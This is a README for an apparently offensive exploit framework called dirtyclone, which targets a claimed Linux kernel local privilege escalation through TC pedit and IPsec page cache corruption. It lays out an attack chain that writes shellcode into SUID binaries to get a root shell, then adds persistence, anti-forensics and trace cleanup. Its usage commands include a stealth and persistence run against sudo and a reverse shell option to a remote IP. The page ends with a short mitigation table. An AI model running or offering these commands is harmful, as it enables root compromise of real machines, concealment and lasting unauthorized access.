
CVE-2026-46331 β Linux Kernel Local Privilege Escalation TC pedit + IPsec TEE Page Cache Corruption Β· Affected kernels: β€ 6.12.9
CVE-2026-46331 β Linux Kernel Local Privilege Escalation TC pedit + IPsec TEE Page Cache Corruption Β· Affected kernels: β€ 6.12.9
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β ____ _ _ ____ _ β
β | _ \(_)_ __| |_ _ _/ ___| | ___ _ __ ___ β
β | | | | | '__| __| | | | | | |/ _ \| '_ \ / _ \ β
β | |_| | | | | |_| |_| | |___| | (_) | | | | __/ β
β |____/|_|_| \__|_, |\____|_|\___/|_| |_|\___| β
β |___/ β
β ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ£
β CVE-2026-46331 Β· v1.0.0 Β· FOR RESEARCH AND EDUCATION ONLY β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β οΈ FOR EDUCATIONAL AND RESEARCH PURPOSES ONLY Use this framework exclusively in isolated lab environments that you own or have explicit written authorization to test. Unauthorized use is illegal and unethical.
CVE-2026-46331 is a local privilege escalation vulnerability in the Linux kernel (β€ 6.12.9) caused by a race condition between the TC (cls_act) pedit action and IPsec TEE-based packet duplication.
When a packet traverses the TC egress path with a pedit action that sets IHL = 15, the kernel's IPsec subsystem receives a malformed packet where the computed IP payload offset exceeds the actual packet boundaries. Under concurrent sendfile(2) operations, this mismatch allows an unprivileged user (inside a user namespace with CAP_NET_ADMIN) to corrupt read-only page cache entries of arbitrary files β including SUID binaries.
| Property | Value |
|---|---|
| CVSS 3.1 Score | 8.8 (HIGH) |
| Attack Vector | Local |
| Privileges Required | Low (unprivileged user) |
| Impact | Root shell (UID=0 EUID=0) |
| Affected versions | Linux kernel β€ 6.12.9 |
| Patched version | 6.12.10 |
| Patch commit | a3f4d1c8... |
Unprivileged User (UID=1000)
β
βΌ
[1] Reconnaissance
ββ Kernel version check
ββ userns availability
ββ Target binary profiling
β
βΌ
[2] Namespace Bypass
ββ unshare(CLONE_NEWUSER|CLONE_NEWNET)
ββ AppArmor profile hopping (fallback)
ββ CAP_NET_ADMIN acquired
β
βΌ
[3] Network Infrastructure
ββ clsact qdisc on lo
ββ pedit filter (IHL=15)
ββ IPsec ESP + TEE
β
βΌ
[4] Page Cache Corruption
ββ sendfile β pedit trigger
ββ Page cache entry corrupted
ββ Shellcode written to read-only binary
β
βΌ
[5] Privilege Escalation
ββ execve(SUID binary) β root shell
β
βΌ
[6-8] Post-Exploitation
ββ Persistence (6 mechanisms)
ββ Evasion / Anti-Forensics
ββ Trace cleanup
β
βΌ
π― ROOT SHELL (UID=0 EUID=0)
dirtyclone-exploit/
βββ Makefile # Build system
βββ README.md # This file
βββ LICENSE # MIT License
β
βββ include/
β βββ exploit.h # Core types, flags, prototypes
β βββ packet_engine.h # Packet crafting engine API
β βββ memory_ops.h # Page cache corruption API
β βββ persistence.h # Persistence mechanism API
β
βββ src/
β βββ main.c # Framework entry point
β βββ stage_env_analysis.c # Phase 1: Reconnaissance
β βββ stage_namespace_bypass.c # Phase 2: userns bypass
β βββ stage_network_setup.c # Phase 3: TC/IPsec setup
β βββ stage_page_cache_corrupt.c # Phase 4: Core exploit
β βββ stage_privilege_escalation.c # Phase 5: LPE
β βββ stage_persistence.c # Phase 6: Persistence
β βββ stage_evasion.c # Phase 7: Anti-forensics
β βββ stage_cleanup.c # Phase 8: Trace removal
β βββ memory_ops.c # Page cache primitives
β βββ packet_engine.c # Raw packet crafting
β βββ persistence.c # Persistence implementations
β
βββ modules/
β βββ packet_craft.py # Python packet crafter (Scapy)
β βββ exploit_analyzer.py # Pre-exploit analysis tool
β
βββ scripts/
β βββ setup_env.sh # Dependency install + build
β βββ cleanup.sh # System cleanup
β βββ detect_targets.sh # Vulnerable binary scanner
β
βββ payloads/
βββ README.md # Payload directory info
gcc β₯ 10makelibcap-dev / libcap-develiproute2 (tc, ip)iptablespip install scapy
# Clone
git clone https://github.com/vulnquest58/dirtyclone-exploit
cd dirtyclone-exploit
# Auto setup (installs deps + builds)
sudo bash scripts/setup_env.sh
# Manual build
make all
# Debug build
make debug
# Clean
make clean
# Show help
./bin/dirtyclone --help
# Dry run (analysis only, no exploitation)
./bin/dirtyclone --test
# Basic exploitation (default target: /usr/bin/su)
sudo ./bin/dirtyclone
# Custom target with stealth + persistence
sudo ./bin/dirtyclone --target /usr/bin/sudo --stealth --persist
# Reverse shell
sudo ./bin/dirtyclone --remote 192.168.1.100 4444 --cleanup
# Detect vulnerable targets first
bash scripts/detect_targets.sh
exploit_analyzer.py β Pre-Exploit Reconnaissance# Analyze default target
python3 modules/exploit_analyzer.py
# Custom target
python3 modules/exploit_analyzer.py --target /usr/bin/sudo
# JSON output for automation
python3 modules/exploit_analyzer.py --json
# Scan all SUID binaries
python3 modules/exploit_analyzer.py --all-suid
packet_craft.py β Raw Packet Trigger# Send exploit packets at offset 0x1234
sudo python3 modules/packet_craft.py --offset 0x1234
# Custom interface and packet count
sudo python3 modules/packet_craft.py --iface eth0 --count 20
| Mitigation | Command / Action |
|---|---|
| Update kernel | Upgrade to β₯ 6.12.10 (primary fix) |
| Disable user namespaces | echo 0 > /proc/sys/kernel/unprivileged_userns_clone |
| AppArmor restrictions | Enable apparmor with userns restriction profile |
| Audit TC pedit | auditctl -a always,exit -F arch=b64 -S unshare |
| File integrity | Deploy AIDE or Tripwire on SUID binaries |
| Seccomp filters | Block unshare() in production containers |